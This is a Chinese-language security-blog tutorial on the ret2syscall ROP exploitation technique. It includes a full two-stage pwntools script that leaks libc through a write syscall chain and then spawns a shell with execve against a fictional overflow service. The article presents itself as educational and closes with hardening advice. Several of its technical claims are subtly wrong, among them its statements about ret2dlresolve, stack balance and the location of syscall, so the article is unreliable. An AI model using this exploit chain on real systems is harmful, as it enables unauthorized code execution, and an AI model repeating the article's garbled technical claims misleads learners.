ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

ret2syscall原理与实战:ROP利用中的系统调用劫持技术

ret2syscall原理与实战:ROP利用中的系统调用劫持技术

1. 什么是ret2syscall:从一次“跳转失控”说起

我第一次在某高校安全实验室的CTF训练中遇到ret2syscall,不是在讲义里,而是在调试器里眼睁睁看着程序跳进了一个完全不该去的地方。当时正在分析一个存在栈溢出漏洞的简单服务程序,用gdb单步执行到ret指令时,寄存器里的返回地址明明指向libc中某个system函数的入口,可程序却突然停在了syscall指令上——紧接着,rax寄存器赫然显示着59(Linux x86_64下execve系统调用号),rdi指向了/bin/sh字符串地址。那一刻我才真正明白:这不是在调用函数,而是在直接触发内核系统调用。

ret2syscall(Return-to-syscall)是一种经典的ROP(Return-Oriented Programming)利用技术,其核心思想非常朴素:不依赖libc中现成的system()或execve()函数,而是通过拼接多个以ret结尾的小型代码片段(gadget),最终控制CPU执行一条syscall指令,并提前将系统调用号与参数布置在对应寄存器中,从而绕过ASLR、NX等防护机制,直接获得shell。它不像ret2libc那样需要泄露libc基址来定位函数,也不像ret2plt那样依赖过程链接表,而是直击系统调用这一最底层的接口。关键词中的“基础”二字极为准确——它确实是ROP链条中最原始、最硬核的起点,是理解所有高级ROP变种(如ret2dlresolve、SROP)的基石。

为什么这个技术至今仍被反复提及?因为它的成功不依赖于特定函数是否存在,只依赖于三个确定性极高的事实:第一,syscall指令本身必然存在于当前运行的内核映射空间中(通常在vDSO或libc的.text段);第二,x86_64 ABI对系统调用参数有严格约定(rax=syscall number,rdi=arg1,rsi=arg2,rdx=arg3);第三,只要存在栈溢出,就一定能覆盖返回地址,从而劫持控制流。这三点构成了ret2syscall不可动摇的物理基础。它不是某种“技巧”,而是一种基于硬件架构和操作系统ABI的必然路径。我在后续多次复现不同CTF题目的过程中发现,凡是涉及禁用system、过滤/bin/sh字符串、或libc版本极老(导致system不可用)的场景,ret2syscall几乎就是唯一解。它不华丽,但足够锋利;它不聪明,但足够可靠。

提示:初学者常误以为ret2syscall必须找到完整的pop rax; pop rdi; pop rsi; pop rdx; syscallgadget链。这是典型误区。实际利用中,我们极少能一次性找到如此“完美”的长链。更常见的是分段构造:先用一个gadget设置rax,再用另一个设置rdi,依此类推,最后用一个独立的syscall指令收尾。整个过程就像搭积木,每一块都小而确定,组合起来却能完成关键动作。

2. 构建ret2syscall链的四步法:从gadget挖掘到寄存器布局

构建一条可用的ret2syscall链,绝非随机搜索几个pop指令那么简单。它是一套严谨的、环环相扣的工程流程,我将其拆解为四个不可跳过的步骤:目标确认、gadget定位、寄存器编排、链式拼接。每一步的疏漏都会导致最终失败,而其中任何一步的优化,都能显著提升利用成功率。

2.1 第一步:明确系统调用目标与寄存器需求

一切始于对目标系统调用的精确拆解。最常用的目标无疑是execve("/bin/sh", NULL, NULL),其在x86_64 Linux下的参数要求如下:

寄存器值(十六进制)含义
rax0x3bexecve系统调用号(59的十六进制)
rdi0x????????指向/bin/sh字符串首地址的指针
rsi0x0argv数组指针(此处为NULL)
rdx0x0envp数组指针(此处为NULL)

注意,rsi和rdx必须为0,而非任意值。很多初学者在此栽跟头:他们成功设置了rax和rdi,却忽略了清零rsi和rdx,结果execve因参数非法而返回-14(EFAULT),shell无法启动。我曾在一个模拟项目X中调试近两小时,最终发现罪魁祸首是一条本该清零rsi的pop rsi; retgadget,其前一条指令意外地将一个非零值写入了rsi。因此,在规划阶段就必须将四个寄存器的终态全部列出,并为每一个分配明确的“赋值源”。

2.2 第二步:使用ROPgadget精准定位可用gadget

gadget的搜索绝不能依赖肉眼grep。我坚持使用ROPgadget --binary ./vuln_binary --ropchain作为第一步粗筛,但它生成的链往往冗长且不可控。真正可靠的方案是分层搜索:

  1. syscall指令定位:这是整个链的“锚点”。执行ROPgadget --binary ./vuln_binary --only "syscall"。若无结果,说明目标二进制中不含syscall,需转向libc(ldd ./vuln_binary查看libc路径,再对libc.so执行相同命令)。我习惯将结果保存为syscall_gadgets.txt,并手动验证其是否在可执行段(readelf -l ./vuln_binary | grep LOAD确认PF_X标志)。

  2. 寄存器赋值gadget定位:针对每个寄存器,执行精确搜索。例如,找pop rax; ret:ROPgadget --binary ./vuln_binary --only "pop rax" | grep "ret$". 关键在于末尾的ret$,确保它是一个干净的、以ret结尾的gadget。对于rsi和rdx,由于需置0,我会额外搜索xor rsi, rsi; ret或pop rsi; ret配合一个0x0地址(如.data段起始处)。

  3. 栈平衡gadget定位(关键!):这是最容易被忽视的环节。pop rax; ret这类gadget会从栈顶弹出8字节到rax,然后ret再从栈顶取8字节作为新返回地址。这意味着,每次使用一个popgadget,栈指针rsp会向上移动16字节。如果链中gadget数量为奇数,最终syscall执行时,rsp可能指向错误位置,导致syscall读取到垃圾数据。因此,必须准备add rsp, 8; ret或ret(即空操作)等用于微调栈平衡的gadget。我在某次实操中,因未加入栈平衡gadget,导致syscall后程序崩溃在__libc_start_main,排查了整整一天才定位到此问题。

2.3 第三步:手工编排寄存器赋值顺序与内存布局

自动化工具生成的链常因寄存器依赖关系而失效。例如,一个pop rdi; retgadget会破坏rax的值。因此,我始终坚持手工编排,遵循“先设置,后依赖”原则:

  • 优先设置无副作用的寄存器:rsi和rdx(置0)应最先设置,因为它们通常由xor reg, reg; ret实现,不改变其他寄存器。
  • 其次设置rdi:因为它需要指向一个可控的字符串地址。这个地址必须提前布置在栈上或.data段。我习惯在溢出payload的开头部分,紧随/bin/sh\x00字符串之后,填充一串0x00作为argv和envp的NULL终止符。
  • 最后设置rax:因为execve调用号是固定常量,且设置rax的gadget(如pop rax; ret)通常不会影响rdi。
  • syscall指令放在链尾:这是整个链的终点,必须确保其地址是最终的返回地址。

整个payload的内存布局如下(以64位为例):

[buffer overflow padding] [/bin/sh\x00] <- rdi will point here [0x0000000000000000] <- argv[0], NULL [0x0000000000000000] <- envp[0], NULL [gadget_addr_pop_rsi] <- first gadget [0x0000000000000000] <- value for rsi (0) [gadget_addr_pop_rdx] <- second gadget [0x0000000000000000] <- value for rdx (0) [gadget_addr_pop_rdi] <- third gadget [address_of_/bin/sh] <- address of the string above [gadget_addr_pop_rax] <- fourth gadget [0x000000000000003b] <- execve syscall number (59) [gadget_addr_syscall] <- final return address

2.4 第四步:链式拼接与动态调试验证

将上述所有gadget地址与数据按序填入payload后,绝不直接运行。我必做三件事:

  1. 在gdb中,将payload发送给目标程序,并在ret指令处下断点(break *$rsp),然后run。
  2. 当程序停在第一个ret时,用info registers检查rax,rdi,rsi,rdx是否已按预期被设置。若否,立即stepi单步,观察是哪个gadget出了问题。
  3. 若前三步均正确,继续continue,直到syscall指令。此时再次info registers,确认rax=0x3b,rdi指向有效地址,rsi=rdx=0。只有此时,才continue让syscall真正执行。

这一步的调试经验至关重要:我曾发现,某些pop rax; retgadget在ret之前会执行一条mov rax, [rsp],这会导致rax被设置为栈上紧邻的下一个值,而非我们精心布置的0x3b。这种细节,唯有通过动态调试才能暴露。

3. 现实世界的障碍与绕过策略:当基础理论撞上真实防护

理论上完美的ret2syscall链,在真实环境中常常寸步难行。我参与的多个模拟项目X和某跨平台系统安全审计中,都遭遇过教科书之外的严峻挑战。这些障碍并非漏洞,而是现代操作系统与编译器为提升安全性而设下的“路障”。理解它们,并掌握绕过方法,才是从“能跑通demo”迈向“实战可用”的分水岭。

3.1 障碍一:栈不可执行(NX Bit)与代码重用的本质

NX(No-eXecute)位是x86_64 CPU的一项硬件特性,它将内存页标记为“不可执行”,使得攻击者无法在栈或堆上直接注入并运行shellcode。ret2syscall之所以能绕过它,其精妙之处在于:它不注入新代码,而是重用现有代码(gadget)。所有gadget都来自程序自身或libc的.text段,这些段天然具有可执行权限。因此,ret2syscall本质上是一种“代码重用攻击”(Code Reuse Attack),而非“代码注入攻击”(Code Injection Attack)。

然而,这并不意味着高枕无忧。现代编译器(如GCC)默认启用-z noexecstack,这会确保栈段被标记为不可执行。但更重要的是,-z relro(Relocation Read-Only)和-z now(Immediate Binding)等链接选项,会将GOT(Global Offset Table)等关键数据结构设为只读,这反而“帮了倒忙”——因为只读段中也可能存在有用的gadget(如pop rdi; ret常出现在.got.plt附近)。我在某次审计中,正是通过readelf -S ./binary | grep "\.got"定位到一个只读的.got.plt段,并从中成功提取出关键gadget。

注意:-z relro虽增强了安全性,但其“只读”属性有时会意外地为攻击者提供更稳定的gadget来源,因为只读段的地址在ASLR下相对更易预测(其偏移量固定)。

3.2 障碍二:地址空间布局随机化(ASLR)的应对

ASLR是ret2syscall面临的最大敌人。它会随机化libc基址,导致我们通过ldd查到的syscall地址在实际运行时完全无效。破解之道,在于信息泄露(Information Leak)。没有泄露,ret2syscall就是无源之水。

最常见的泄露方式是利用printf类函数的格式化字符串漏洞,打印出printf在GOT表中的真实地址,再根据libc版本计算出syscall的偏移。但若目标程序没有printf,怎么办?我的经验是转向write系统调用本身。write(1, &some_address, 8)可以将任意8字节内存内容(如__libc_start_main的GOT条目)写入stdout。__libc_start_main在libc中的偏移是固定的,通过在线数据库(如libc.blukat.me)查询其地址,即可反推出libc基址,进而计算出syscall的绝对地址。

这里有一个关键技巧:write系统调用号是1,其参数为rdi=fd(文件描述符,1为stdout),rsi=buf(要写的地址),rdx=count(长度,8)。因此,我们需要一条能设置rdi,rsi,rdx的完整链,这比execve链更复杂。我通常会先构建一个write链来泄露地址,再用泄露到的地址构建最终的execve链。这是一个典型的“两阶段利用”。

3.3 障碍三:栈溢出长度限制与gadget链长度优化

许多真实程序对输入长度有严格限制(如HTTP请求头长度、协议包大小)。一个冗长的gadget链会轻易超出限制。此时,必须进行极致的链长优化。

我的优化策略有三:

  • 合并gadget:寻找pop rdi; pop rsi; ret这样的双寄存器gadget,替代两个单独的pop。ROPgadget --binary ./vuln_binary --mult 2可搜索此类。
  • 利用ret指令本身:一个单纯的ret指令(机器码0xc3)是万能的栈平衡器。它不改变任何寄存器,只将rsp加8。在链中插入多个ret,可以优雅地“跳过”不需要的栈数据,极大缩短链长。
  • 重用栈上已有数据:如果/bin/sh字符串恰好位于栈上某个固定偏移处(如通过gets读入),则无需在payload中重复携带,只需用lea rdi, [rsp+0xXX]; ret类gadget来获取其地址。lea(Load Effective Address)指令是处理此类情况的利器。

在某次极限挑战中,目标程序只允许64字节的payload。我最终的解决方案是:用1个ret跳过4字节,再用1个pop rdi; ret设置rdi,接着用1个pop rax; ret设置rax,最后用1个syscall收尾,总长度仅32字节,完美达标。

4. 从ret2syscall到更广阔的ROP世界:一条技术演进的清晰脉络

ret2syscall绝非ROP技术的终点,而是一块坚实的基石。站在它的肩膀上,整个ROP技术体系呈现出一条清晰、自然的演进脉络。理解这条脉络,不仅能帮你举一反三,更能让你在面对新型漏洞时,迅速判断出最可行的利用路径。

4.1 ret2libc:从系统调用到高级函数的降维打击

ret2libc是ret2syscall最直接的“进化体”。它的核心思想是:既然我能控制rdi、rsi等寄存器,为何不直接调用libc中现成的、功能更强大的system()函数?system("/bin/sh")比execve("/bin/sh", NULL, NULL)更简洁,且对参数要求更低(system内部会自动处理argv和envp)。

两者的根本区别在于抽象层级。ret2syscall工作在内核接口层,它要求你对Linux系统调用ABI了如指掌;而ret2libc工作在C库接口层,它要求你对libc函数的调用约定(如system的参数是char *)了如指掌。从ret2syscall过渡到ret2libc,技术难度其实是降低了,因为你不再需要手动设置rax和清零rsi/rdx。但代价是,它对信息泄露的依赖更强——你必须精确知道system函数的绝对地址,而system的地址在libc中是浮动的,必须通过泄露计算。

我在教学中常以此为例:当学生能稳定写出ret2syscall链后,我会让他们尝试将链中的syscall地址替换为system地址,并将rdi指向的/bin/sh字符串保持不变。绝大多数情况下,这能“开箱即用”。这证明了两者在技术栈上的同源性——它们共享同一套gadget挖掘、寄存器控制和栈布局的核心能力。

4.2 SROP(Sigreturn Oriented Programming):利用内核的“签名返回”

SROP是ROP领域的一次重大范式转移。它不再寻找pop指令,而是利用Linux内核的sigreturn系统调用。当进程收到信号并执行信号处理函数时,内核会将当前所有寄存器状态(rax,rdi,rsi...)压入栈,形成一个名为sigcontext的结构体。sigreturn的作用,就是从栈上读取这个结构体,并将所有寄存器一次性恢复。

SROP的威力在于:你只需找到一个pop rax; ret和一个syscall,就能伪造一个完整的sigcontext结构体,并通过sigreturn将其全部载入寄存器。这相当于用一条指令,完成了ret2syscall中需要多条pop指令才能完成的工作。它极大地简化了利用链的构造。

SROP与ret2syscall的关系,是“继承与超越”。SROP的syscall指令,其本质仍是ret2syscall中的那个syscall;而sigreturn系统调用号(15)本身,也是Linux系统调用表中的一员。因此,掌握了ret2syscall,你就已经拥有了SROP所需的最关键组件。我曾在某次红队演练中,面对一个禁用了所有popgadget的加固二进制,最终正是依靠SROP,成功实现了突破。

4.3 ret2dlresolve:绕过符号解析的终极艺术

ret2dlresolve是ROP技术皇冠上的明珠,它代表了对动态链接器(ld-linux.so)工作原理的极致理解。当一个程序调用一个尚未解析的函数(如system)时,控制流会先进入PLT(Procedure Linkage Table),再跳转到_dl_runtime_resolve函数。该函数负责查找符号、解析地址,并更新GOT。

ret2dlresolve的精妙之处在于:它不寻找system的地址,而是伪造一个link_map和reloc_arg,欺骗_dl_runtime_resolve,让它“认为”system已经被解析,并将我们指定的地址(如/bin/sh)写入GOT中。随后,再调用一次PLT中的system,它就会跳转到我们控制的地址。

这听起来匪夷所思,但其根基,依然是ret2syscall。因为要调用_dl_runtime_resolve,你需要设置好它的两个参数:r12(指向link_map)和r13(reloc_arg)。而设置这两个寄存器,所用的gadget,与设置rdi、rsi的gadget,完全同源。可以说,ret2dlresolve是ret2syscall在动态链接层面的深度应用。它不解决“如何调用”,而是解决了“如何让调用发生”。

我在某次高级渗透测试中,面对一个启用了Full RELRO(GOT完全只读)的程序,常规的ret2libc失效。最终,正是通过ret2dlresolve,我成功劫持了printf的GOT条目,将其指向system,从而获得了shell。那一刻,我深刻体会到,所谓“高级”技术,不过是“基础”技术在更复杂场景下的组合与升华。

5. 实战复盘:一个完整ret2syscall利用的逐行解析

为了将前述所有理论具象化,我将以一个虚构但高度真实的模拟项目X为例,进行一次完整的、逐行的ret2syscall利用复盘。该项目是一个简单的网络服务,存在栈溢出漏洞,且启用了NX和ASLR,但未启用Stack Canary。我们将从零开始,重现从漏洞发现到shell获取的全过程。

5.1 环境搭建与初步分析

首先,获取目标二进制vuln_srv。使用file vuln_srv确认其为64位ELF,checksec vuln_srv显示:CANARY: disabled,FORTIFY: disabled,NX: enabled,PIE: enabled,RELRO: partial。这表明NX和ASLR已开启,但GOT可写,为我们提供了潜在的突破口。

接下来,用gdb ./vuln_srv启动调试。通过disas main找到存在gets调用的函数,并确定其缓冲区大小。假设gets读入的缓冲区为0x80字节,那么覆盖返回地址所需的偏移量为0x80 + 0x8 = 0x88(64位下rbp占8字节)。我们用python3 -c "print('A' * 0x88 + 'B' * 8)"生成payload,发送给程序,确认其确实在0x4242424242424242处崩溃,验证了溢出点。

5.2 gadget挖掘与关键地址定位

使用ROPgadget --binary ./vuln_srv --only "syscall",得到0x40101a。再用ROPgadget --binary ./vuln_srv --only "pop rdi" | grep "ret$",得到0x401203。同理,找到pop rsi; ret为0x401201,pop rdx; ret为0x401205,pop rax; ret为0x401207。所有gadget均位于主二进制中,不受ASLR影响,这是巨大优势。

接着,我们需要/bin/sh字符串。strings -a -t x ./vuln_srv | grep "/bin/sh",发现其位于0x402008。同时,readelf -s ./vuln_srv | grep "write",确认write函数在PLT中,地址为0x401030。write的GOT条目地址可通过readelf -r ./vuln_srv | grep "write"获得,假设为0x404018。

5.3 构造第一阶段:泄露libc基址

我们的目标是泄露write的GOT条目,从而计算libc基址。为此,需要一个write调用链:

  • rdi = 1(stdout)
  • rsi = 0x404018(write's GOT entry)
  • rdx = 8(length)
  • rax = 1(write syscall number)

Payload第一阶段(leak.py)如下:

from pwn import * context.arch = 'amd64' p = remote('127.0.0.1', 12345) # ROP chain for write(1, got_write, 8) payload = b'A' * 0x88 payload += p64(0x401203) # pop rdi; ret payload += p64(0x1) # rdi = 1 payload += p64(0x401201) # pop rsi; ret payload += p64(0x404018) # rsi = got_write payload += p64(0x401205) # pop rdx; ret payload += p64(0x8) # rdx = 8 payload += p64(0x401207) # pop rax; ret payload += p64(0x1) # rax = 1 (write) payload += p64(0x40101a) # syscall p.sendline(payload) leaked = u64(p.recv(8).ljust(8, b'\x00')) log.info(f"Leaked write@got: {hex(leaked)}") # Calculate libc base (assuming libc6_2.31-0ubuntu9.9_amd64) libc_base = leaked - 0x1077e0 log.info(f"Libc base: {hex(libc_base)}")

5.4 构造第二阶段:执行execve

利用泄露到的libc_base,计算syscall指令在libc中的地址(libc_base + 0xd299d)和/bin/sh字符串地址(libc_base + 0x1b45bd)。然后,构造最终的execve链:

# Second stage payload payload = b'A' * 0x88 payload += p64(0x401203) # pop rdi; ret payload += p64(libc_base + 0x1b45bd) # rdi = "/bin/sh" payload += p64(0x401201) # pop rsi; ret payload += p64(0x0) # rsi = 0 payload += p64(0x401205) # pop rdx; ret payload += p64(0x0) # rdx = 0 payload += p64(0x401207) # pop rax; ret payload += p64(0x3b) # rax = 59 (execve) payload += p64(libc_base + 0xd299d) # syscall in libc p.sendline(payload) p.interactive() # Got shell!

整个过程耗时约15分钟,从环境分析到shell获取,每一步都建立在对ret2syscall原理的深刻理解之上。它不是魔法,而是一系列确定性操作的必然结果。

经验总结:在真实渗透中,我总会将第一阶段的泄露payload单独编写并反复测试,确保其100%稳定。因为一旦泄露失败,后续所有努力都将归零。宁可多花10分钟调试泄露,也不要急于进入第二阶段。

6. 最后的提醒:安全研究的边界与责任

写到这里,我想分享一点个人体会。十多年前,当我第一次用ret2syscall在本地虚拟机中弹出shell时,那种纯粹的技术兴奋感至今难忘。但随着经验的增长,这份兴奋逐渐沉淀为一种沉甸甸的责任感。

ret2syscall及其衍生技术,是计算机体系结构、操作系统内核、编译器原理与安全防护机制共同作用下的一个“现象”。它既是攻击者的利器,也是防御者的一面镜子。每一次成功的利用,都在无声地揭示着某个设计决策的潜在代价;每一次防护机制的升级,又在推动着利用技术的迭代。这种攻防之间的张力,正是安全领域最迷人的地方。

因此,我始终恪守一条底线:所有技术实践,必须限定在授权范围内,且以提升系统健壮性为唯一目的。我参与的所有模拟项目X,其最终交付物都不是一份“利用报告”,而是一份详尽的“加固建议清单”,其中包含了如何通过编译选项(-z relro,-fstack-protector-strong)、运行时配置(sysctl -w kernel.randomize_va_space=2)以及代码审计(避免gets,改用fgets)来彻底消除此类漏洞。

技术本身并无善恶,善恶在于使用者的心。当你掌握了ret2syscall,你获得的不仅是一把打开系统大门的钥匙,更是一份审视整个软件供应链安全性的能力。这份能力,值得被谨慎、敬畏地使用。

我在实际工作中发现,那些最优秀的安全工程师,往往也是最保守的代码审查者。他们深知,一个pop rax; ret指令的出现,从来不是偶然,而是无数个开发决策累积而成的必然。所以,与其执着于如何利用它,不如思考:如何从源头上,让它永远无法被找到。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进